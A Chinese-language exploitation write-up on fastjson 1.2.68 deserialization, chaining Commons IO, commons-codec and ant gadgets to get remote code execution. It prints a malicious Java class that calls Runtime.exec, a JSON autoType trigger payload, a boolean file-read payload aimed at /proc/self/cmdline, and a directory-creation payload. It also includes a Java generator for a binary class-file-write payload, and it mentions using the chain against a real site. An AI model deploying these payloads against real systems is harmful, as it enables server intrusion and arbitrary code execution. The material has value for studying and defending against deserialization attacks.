fastjson 1.2.68 目前公开的利用链中比较好用的是voidfyoo师傅的Commons IO 写文件链子,但是在spring环境下,仅仅通过写文件rce较为困难,本文更多的是结合多位师傅的文章理出一条通过写文件稳定rce方法
通过覆盖charsets.jar缺点太多,一是文件大,二是java版本不适配。另外笔者觉得还有一个致命因素,一般来说项目中只要使用了Charset.forName 就会加载charsets.jar,这样来讲正常的业务代码中几乎都已经加载过charsets.jar,即使后来再覆盖charsets.jar也不会重新加载。仅为笔者个人(java初学者)想法(或许是在哪里看到过别的师傅的文章,有点印象),如有错误欢迎师傅指点。
threedr3am师傅给出了任意文件写的情况下,如何更稳定地rce。简单来讲如果写一个恶意的class到jre/classes/目录下,class内容如下:
import java.io.IOException;
public class MyClass implements AutoCloseable {
public MyClass(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
}
public void close() throws Exception {
}
static {
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException var1) {
throw new RuntimeException(var1);
}
}
}
正在运行的项目会加载这个class文件,我们只需要使用如下poc即可rce。
{"@type":"java.lang.AutoCloseable","@type":"MyClass","cmd":"open -a Calculator"}
这里只做简述,具体原理到threedr3am师傅的博客中查看。
很可惜的是jre目录下默认并不会存在classes目录,另外voidfyoo师傅给出的Commons IO 写文件链子不能写二进制文件,具体原因是使用的输入输出流都是经过编码的,而二进制文件中部分字符编码/解码失败就会写入脏字符。 那么目前我们需要解决的问题有三点:
1. 获取jdk目录
2. 创建classes目录
3. 写入class文件
在Blackhat的议题中分享了一条commons-io逐字节读文件的链子,但是局限性很大。经过浅蓝师傅的扩展,目前可以做到有抛出异常的布尔读和利用dnslog 无回显读 ,贴一下浅蓝师傅的有抛出异常的布尔读取文件的poc:
{
"abc":{"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///tmp/test"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},"boms": [
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
98
]
}
]
},
"address" : {"@type": "java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader","charSequence": {"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},"start": 0,"end": 0}
}
当字节码对比一致时就会走到下面charSequence处,因为类型不一致fastjson报错,业务抛出异常, 字节码对比不一致时返回为null,fastjson也就不会报错,业务回显正常。 我们可以直接读取启动命令 /proc/self/cmdline, 有的时候直接是用绝对路径来启动的,如果不是可以用netdoc协议列目录找到jdk路径
笔者找到一条简单的通过Commons IO创建目录的链子,使用的类是org.apache.commons.io.output.LockableFileWriter
public LockableFileWriter(File file, Charset encoding, boolean append, String lockDir) throws IOException {
file = file.getAbsoluteFile();
if (file.getParentFile() != null) {
FileUtils.forceMkdir(file.getParentFile());
}
if (file.isDirectory()) {
throw new IOException("File specified is a directory");
} else {
if (lockDir == null) {
lockDir = System.getProperty("java.io.tmpdir");
}
File lockDirFile = new File(lockDir);
FileUtils.forceMkdir(lockDirFile);
this.testLockDir(lockDirFile);
this.lockFile = new File(lockDirFile, file.getName() + ".lck");
this.createLock();
this.out = this.initWriter(file, encoding, append);
}
}
FileUtils#forceMkdir
public static void forceMkdir(File directory) throws IOException {
......
if (directory.exists()) {
......
} else if (!directory.mkdirs() && !directory.isDirectory()) {
......
}
}
poc
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.LockableFileWriter",
"file":"/etc/passwd", //一个存在的文件
"encoding":"UTF-8",
"append": true,
"lockDir":"/usr/lib/jvm/java-8-openjdk-amd64/jre/classes" //要创建的目录
},
"charset":"UTF-8",
"bufferSize": 8193,
"writeImmediately": true
}
file需要是一个存在的文件,才能走到下面的FileUtils.forceMkdir(lockDirFile) 创建目录 注:mac环境下可能有保护机制,jre下classes创建不了,实测ubuntu上是可以创建的。
笔者能力有限,只依赖commons-io 未能找到一条写二进制文件的链子,在Blackhat的议题中分享了一条基于commons-io、commons-codec、aspectj写二进制文件的链,笔者近日打的fastjson刚好有commons-io、commons-codec,但是没有aspectj。于是在另一位师傅列出lib之后,在ant中找到了org.apache.tools.ant.util.LazyFileOutputStream
类,可以替代aspectj中的org.eclipse.core.internal.localstore.SafeFileOutputStream
public static void write_so(String target_path) throws IOException {
byte[] bom_buffer_bytes = readFileInBytesToString("./target/classes/MyClass.class");
String base64_so_content = Base64.getEncoder().encodeToString(bom_buffer_bytes);
byte[] big_bom_buffer_bytes = Base64.getDecoder().decode(base64_so_content);
String payload = String.format("{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\n" +
" \"delegate\":{\n" +
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\":{\n" +
" \"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\n" +
" \"in\":{\n" +
" \"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\n" +
" \"charset\":\"utf-8\",\n" +
" \"bufferSize\": 1024,\n" +
" \"cs\":{\"@type\":\"java.lang.String\"\"%1$s\"\n" +
" },\n" +
" \"doEncode\":false,\n" +
" \"lineLength\":1024,\n" +
" \"lineSeparator\":\"5ZWKCg==\",\n" +
" \"decodingPolicy\":0\n" +
" },\n" +
" \"branch\":{\n" +
//" \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
//" \"targetPath\":\"%2$s\"\n" +
" \"@type\":\"org.apache.tools.ant.util.LazyFileOutputStream\",\n" +
" \"file\":\"%2$s\",\n" +
" \"append\":false,\n" +
" \"alwaysCreate\":true\n" +
" },\n" +
" \"closeBranch\":false\n" +
" },\n" +
" \"include\":true,\n" +
" \"boms\":[{\n" +
" \"@type\": \"org.apache.commons.io.ByteOrderMark\",\n" +
" \"charsetName\": \"UTF-8\",\n" +
" \"bytes\":" +"%3$s\n" +
" }],\n" +
" \"x\":{\"$ref\":\"$.bOM\"}\n" +
"}",base64_so_content, "/tmp/MyClass.class", Arrays.toString(big_bom_buffer_bytes));
System.out.println(payload);
}
public static byte[] readFileInBytesToString(String filePath) {
final int readArraySizePerRead = 4096;
File file = new File(filePath);
ArrayList<Byte> bytes = new ArrayList<>();
try {
if (file.exists()) {
DataInputStream isr = new DataInputStream(new FileInputStream(
file));
byte[] tempchars = new byte[readArraySizePerRead];
int charsReadCount = 0;
while ((charsReadCount = isr.read(tempchars)) != -1) {
for(int i = 0 ; i < charsReadCount ; i++){
bytes.add (tempchars[i]);
}
}
isr.close();
}
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return toPrimitives(bytes.toArray(new Byte[0]));
}
static byte[] toPrimitives(Byte[] oBytes) {
byte[] bytes = new byte[oBytes.length];
for (int i = 0; i < oBytes.length; i++) {
bytes[i] = oBytes[i];
}
return bytes;
}
笔者在vps用jar起的环境和本地手动创建classes目录之后都是可以成功的。
但是打的站没成功,别的师傅通过别的链打下来后,笔者上去看了下class文件没问题,也能直接运行,但是很奇怪用fastjson加载不了。
在root权限下可以直接通过commons-io链写计划任务,低权限下通过写class文件rce,获取jdk目录、创建classes目录仅依赖commons-io,但是写入class文件需要更多不太常见的依赖,总的来讲利用条件还是较为苛刻的。
1. Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析(https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg)
2. Blackhat 2021 议题详细分析 —— FastJson 反序列化漏洞及在区块链应用中的渗透利用(https://paper.seebug.org/1698/#3commons-io)
3. fastjson 读文件 gadget 的利用场景扩展(https://b1ue.cn/archives/506.html)
4. JDK8任意文件写场景下的Fastjson RCE(https://threedr3am.github.io/2021/04/13/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84Fastjson%20RCE/)